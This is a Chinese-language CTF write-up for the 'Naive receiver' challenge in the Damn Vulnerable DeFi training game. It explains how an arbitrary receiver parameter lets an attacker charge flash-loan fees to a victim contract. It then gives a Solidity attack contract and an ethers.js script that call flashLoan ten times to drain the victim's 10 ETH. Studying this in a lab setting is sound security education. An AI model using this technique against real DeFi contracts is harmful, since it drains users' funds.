概述#
Damn Vulnerable DeFi 是學習以太坊 DeFi 智能合約攻擊性安全的 CTF 遊戲。
該遊戲涵蓋了閃電貸、價格預言機、治理、非同質化代幣(NFT)、去中心化交易所(DEX)、借貸池、智能合約錢包、時間鎖等多種 DeFi 場景。
這種類似 CTF 的題目的遊戲非常適合初學者去學習 solidity/ethers.js 的開發。
挑戰題目描述網站:https://www.damnvulnerabledefi.xyz/
挑戰題目源碼地址:https://github.com/tinchoabbate/damn-vulnerable-defi
Naive receiver#
題目描述:
有一個餘額為 1000 ETH 的池子,提供閃電貸。它有一個固定的 1 ETH 手續費。
一個用戶部署了一個餘額為 10 ETH 的合約。它能夠與該池子互動並接收 ETH 的閃電貸。
將用戶合約中的所有 ETH 取出。如果可能,以一筆交易完成。
解析#
題意:題目的意思是說有一個提供閃電貸的池子,User 部署了一個 10 ETH 可以跟前面所說的池子互動的合約,我們需要攻擊用戶將用戶的 ETH 全部耗盡。
首先我們來看看閃電貸池子的合約:
我們可以觀察到閃電貸的接收者也就是 receiver 可以不是發起交易的 msg.sender,而是可以任意指定的滿足 IERC3156FlashBorrower 的池子。
而我們再去觀察 User 部署的合約發現合約已經實現了 IERC3156 標準。我們只需要一個 for 循環把 user 部署的合約地址執行 10 次閃電貸(每次手續費 1 ETH,User 部署時 deposit 了 10 ETH)就可以了。
题解#
題目要求是盡可能放在同一筆交易那麼我們需要部署一個合約。
AttackNaiveReceiver.sol
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address owner;
constructor(address payable _pool, address _owner) {
pool = NaiveReceiverLenderPool(_pool);
owner = _owner;
}
function attack(address victim) public {
require(msg.sender == owner, "only owner can attack");
for (int i=0; i < 10; i++ ) {
pool.flashLoan(IERC3156FlashBorrower(victim), ETH, 0 ether, "");
}
}
}
在 js 腳本中部署合約還有發起攻擊:
const attackContract = await ethers.getContractFactory('AttackNaiveReceiver', player);
const attack = await attackContract.deploy(pool.address, player.address);
await attack.attack(receiver.address);